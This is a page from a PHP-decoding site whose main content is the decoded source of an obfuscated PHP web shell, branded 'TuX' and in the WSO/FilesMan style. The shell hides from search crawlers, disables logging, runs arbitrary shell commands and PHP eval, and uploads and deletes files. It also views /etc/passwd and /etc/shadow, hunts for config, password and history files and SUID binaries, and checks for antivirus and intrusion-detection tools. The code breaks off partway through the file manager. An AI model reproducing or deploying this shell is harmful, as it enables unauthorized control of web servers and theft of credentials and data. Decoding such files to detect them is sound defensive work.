Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); $xd='..

Decoded Output download

?><?php # Don money
$auth_password = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('TuX_VERSION', '666.9');

if(get_magic_quotes_gpc()) {
	function TuXstripslashes($array) {
		return is_array($array) ? array_map('TuXstripslashes', $array) : stripslashes($array);
	}
	$_POST = TuXstripslashes($_POST);
}

function TuXLogin() {
	die("<pre align=center><br><br><form method=post><input type=password name=pass><input type=submit value='>>'></form></pre>");
}

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
	if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
		$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
	else
		TuXLogin();

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
	$cwd .= '/';

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
	
if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"	
	);

function TuXHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>- " . $_SERVER['HTTP_HOST'] . " -</title>
<style>
body{background-color:#000028;color:#e1e1e1;}
body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }
div.content{ padding: 7px;margin-left:7px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/list.php?description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . TuXViewSize($totalSpace) . ' <span>Free:</span> ' . TuXViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. TuXPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function TuXFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
	<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
	<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function TuXEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function TuXViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function TuXPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function TuXPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . TuXPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . TuXPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . TuXPerms(@fileperms($f)) . '</font>';
}

if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}

function TuXWhich($p) {
	$path = TuXEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	TuXHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function TuXSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	
	TuXSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        TuXSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	TuXSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	TuXSecParam('Open base dir', @ini_get('open_basedir'));
	TuXSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	TuXSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	TuXSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	TuXSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';
	
	if($GLOBALS['os'] == 'nix') {
		TuXSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
		TuXSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
		TuXSecParam('OS version', @file_get_contents('/proc/version'));
		TuXSecParam('Distr name', @file_get_contents('/etc/issue.net'));
		if(!$GLOBALS['safe_mode']) {
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
            $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
			echo '<br>';
			$temp=array();
			foreach ($userful as $item)
				if(TuXWhich($item))
                    $temp[] = $item;
			TuXSecParam('Userful', implode(', ',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(TuXWhich($item))
                    $temp[] = $item;
			TuXSecParam('Danger', implode(', ',$temp));
			$temp=array();
			foreach ($downloaders as $item) 
				if(TuXWhich($item))
                    $temp[] = $item;
			TuXSecParam('Downloaders', implode(', ',$temp));
			echo '<br/>';
            TuXSecParam('HDD space', TuXEx('df -h'));
			TuXSecParam('Hosts', @file_get_contents('/etc/hosts'));
		}
	} else {
		TuXSecParam('OS Version',TuXEx('ver'));
		TuXSecParam('Account Settings',TuXEx('net accounts'));
		TuXSecParam('User Accounts',TuXEx('net user'));
	}
	echo '</div>';
	TuXFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	TuXHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
	if(empty($_POST['ajax']) && !empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	TuXFooter();
}

function actionFilesMan() {
	TuXHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_SESSION['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION['f'] as $f)
						copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);					
				} elseif($_SESSION['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION['f'] as $f)
						@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_SESSION['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_SESSION['c']);
                            foreach($_SESSION['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_SESSION['c'].$f))
                                    $zip->addFile($_SESSION['c'].$f, $f);
                                elseif(@is_dir($_SESSION['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_SESSION['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_SESSION['f'] as $f) {
                            if($zip->open($_SESSION['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_SESSION['act'] == 'tar') {
                    chdir($_SESSION['c']);
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
                    TuXEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_SESSION['f']);
				break;
			default:
                if(!empty($_POST['p1'])) {
					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';TuXFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => TuXPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function TuXCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "TuXCmp");
	usort($dirs, "TuXCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?TuXViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_SESSION['act']) && @count($_SESSION['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
